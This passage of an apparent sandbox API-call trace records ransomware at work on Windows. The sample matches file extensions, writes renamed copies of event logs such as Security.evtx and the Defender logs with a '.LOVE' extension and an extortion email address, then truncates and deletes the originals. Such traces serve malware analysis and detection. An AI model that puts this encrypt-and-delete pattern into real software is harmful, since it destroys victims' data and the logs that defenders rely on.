(lpString=".ppt") returned 4 [0207.957] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.957] lstrlenW (lpString=".zip") returned 4 [0207.957] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.957] lstrlenW (lpString=".rar") returned 4 [0207.957] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.957] lstrlenW (lpString=".bz2") returned 4 [0207.957] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.957] lstrlenW (lpString=".7z") returned 3 [0207.957] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.957] lstrlenW (lpString=".dbf") returned 4 [0207.957] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.957] lstrlenW (lpString=".1cd") returned 4 [0207.957] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.957] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.957] lstrlenW (lpString=".jpg") returned 4 [0207.957] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.957] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.957] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0207.957] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.958] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.958] CloseHandle (hObject=0x31c) returned 1 [0207.958] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0207.958] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.958] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.958] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.959] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.959] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.959] GetLastError () returned 0x0 [0207.959] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.990] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.992] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.992] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x13c, lpOverlapped=0x0) returned 1 [0207.992] SetEndOfFile (hFile=0x378) returned 1 [0207.992] CloseHandle (hObject=0x378) returned 1 [0207.994] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.994] SetEndOfFile (hFile=0x31c) returned 1 [0207.995] CloseHandle (hObject=0x31c) returned 1 [0207.996] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.996] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0207.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.996] lstrlenW (lpString=".doc") returned 4 [0207.996] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.996] lstrlenW (lpString=".docx") returned 5 [0207.996] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.996] lstrlenW (lpString=".pdf") returned 4 [0207.996] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.996] lstrlenW (lpString=".xls") returned 4 [0207.996] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString=".xlsx") returned 5 [0207.997] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.997] lstrlenW (lpString=".ppt") returned 4 [0207.997] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.997] lstrlenW (lpString=".zip") returned 4 [0207.997] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString=".rar") returned 4 [0207.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString=".bz2") returned 4 [0207.997] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString=".7z") returned 3 [0207.997] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.997] lstrlenW (lpString=".dbf") returned 4 [0207.997] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.997] lstrlenW (lpString=".1cd") returned 4 [0207.997] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.997] lstrlenW (lpString=".jpg") returned 4 [0207.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.998] lstrlenW (lpString=".doc") returned 4 [0207.998] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString=".docx") returned 5 [0207.998] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.998] lstrlenW (lpString=".pdf") returned 4 [0207.998] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString=".xls") returned 4 [0207.998] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString=".xlsx") returned 5 [0207.998] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.998] lstrlenW (lpString=".ppt") returned 4 [0207.998] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.998] lstrlenW (lpString=".zip") returned 4 [0207.998] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString=".rar") returned 4 [0207.998] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString=".bz2") returned 4 [0207.998] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString=".7z") returned 3 [0207.998] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.998] lstrlenW (lpString=".dbf") returned 4 [0207.998] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.998] lstrlenW (lpString=".1cd") returned 4 [0207.998] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0207.998] lstrlenW (lpString=".jpg") returned 4 [0207.999] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.999] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.999] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0207.999] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.999] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.999] CloseHandle (hObject=0x31c) returned 1 [0207.999] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0207.999] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.999] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.999] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.000] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.000] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.000] GetLastError () returned 0x0 [0208.000] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0208.029] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0208.552] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.552] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x12c, lpOverlapped=0x0) returned 1 [0208.552] SetEndOfFile (hFile=0x378) returned 1 [0208.553] CloseHandle (hObject=0x378) returned 1 [0208.554] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.554] SetEndOfFile (hFile=0x31c) returned 1 [0208.555] CloseHandle (hObject=0x31c) returned 1 [0208.555] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.556] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0208.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.556] lstrlenW (lpString=".doc") returned 4 [0208.556] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.556] lstrlenW (lpString=".docx") returned 5 [0208.556] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.556] lstrlenW (lpString=".pdf") returned 4 [0208.556] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.556] lstrlenW (lpString=".xls") returned 4 [0208.556] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.556] lstrlenW (lpString=".xlsx") returned 5 [0208.556] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.556] lstrlenW (lpString=".ppt") returned 4 [0208.556] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.556] lstrlenW (lpString=".zip") returned 4 [0208.556] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.556] lstrlenW (lpString=".rar") returned 4 [0208.556] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.563] lstrlenW (lpString=".bz2") returned 4 [0208.563] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.563] lstrlenW (lpString=".7z") returned 3 [0208.655] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.655] lstrlenW (lpString=".dbf") returned 4 [0208.655] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.655] lstrlenW (lpString=".1cd") returned 4 [0208.655] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.656] lstrlenW (lpString=".jpg") returned 4 [0208.656] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.656] lstrlenW (lpString=".doc") returned 4 [0208.656] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString=".docx") returned 5 [0208.656] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.656] lstrlenW (lpString=".pdf") returned 4 [0208.656] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString=".xls") returned 4 [0208.656] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString=".xlsx") returned 5 [0208.656] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.656] lstrlenW (lpString=".ppt") returned 4 [0208.656] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.656] lstrlenW (lpString=".zip") returned 4 [0208.656] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString=".rar") returned 4 [0208.656] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString=".bz2") returned 4 [0208.656] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString=".7z") returned 3 [0208.656] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.656] lstrlenW (lpString=".dbf") returned 4 [0208.656] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.656] lstrlenW (lpString=".1cd") returned 4 [0208.656] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0208.657] lstrlenW (lpString=".jpg") returned 4 [0208.657] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.657] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.657] lstrlenW (lpString="Security.evtx") returned 13 [0208.657] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0208.657] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=1118208) returned 1 [0208.657] CloseHandle (hObject=0x31c) returned 1 [0208.657] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0208.657] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\security.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.657] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0208.657] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.657] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.657] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\security.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0208.658] GetLastError () returned 0x0 [0208.658] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0208.782] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0208.797] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11010, lpOverlapped=0x0) returned 1 [0208.805] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11020, lpOverlapped=0x0) returned 1 [0208.809] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.809] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xee, lpOverlapped=0x0) returned 1 [0208.809] SetEndOfFile (hFile=0x378) returned 1 [0208.809] CloseHandle (hObject=0x378) returned 1 [0209.284] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.284] SetEndOfFile (hFile=0x31c) returned 1 [0209.285] CloseHandle (hObject=0x31c) returned 1 [0209.285] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.286] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0209.286] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.286] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.286] lstrlenW (lpString=".doc") returned 4 [0209.286] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0209.286] lstrlenW (lpString=".docx") returned 5 [0209.286] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0209.286] lstrlenW (lpString=".pdf") returned 4 [0209.286] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0209.286] lstrlenW (lpString=".xls") returned 4 [0209.286] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0209.286] lstrlenW (lpString=".xlsx") returned 5 [0209.286] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0209.286] lstrlenW (lpString=".ppt") returned 4 [0209.286] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0209.286] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.287] lstrlenW (lpString=".zip") returned 4 [0209.287] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString=".rar") returned 4 [0209.287] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString=".bz2") returned 4 [0209.287] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString=".7z") returned 3 [0209.287] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0209.287] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.287] lstrlenW (lpString=".dbf") returned 4 [0209.287] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.287] lstrlenW (lpString=".1cd") returned 4 [0209.287] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.287] lstrlenW (lpString=".jpg") returned 4 [0209.287] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.287] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.287] lstrlenW (lpString=".doc") returned 4 [0209.287] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString=".docx") returned 5 [0209.287] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0209.287] lstrlenW (lpString=".pdf") returned 4 [0209.287] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString=".xls") returned 4 [0209.287] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0209.287] lstrlenW (lpString=".xlsx") returned 5 [0209.288] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0209.288] lstrlenW (lpString=".ppt") returned 4 [0209.288] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0209.288] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.288] lstrlenW (lpString=".zip") returned 4 [0209.288] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0209.288] lstrlenW (lpString=".rar") returned 4 [0209.288] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0209.288] lstrlenW (lpString=".bz2") returned 4 [0209.288] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0209.288] lstrlenW (lpString=".7z") returned 3 [0209.288] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0209.288] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.288] lstrlenW (lpString=".dbf") returned 4 [0209.288] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0209.288] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.288] lstrlenW (lpString=".1cd") returned 4 [0209.288] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0209.288] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0209.288] lstrlenW (lpString=".jpg") returned 4 [0209.288] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0209.288] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.288] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0209.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.301] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=21184) returned 1 [0209.301] CloseHandle (hObject=0x368) returned 1 [0209.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0209.301] GetFileAttributesW (lpFileName="C:\\Program 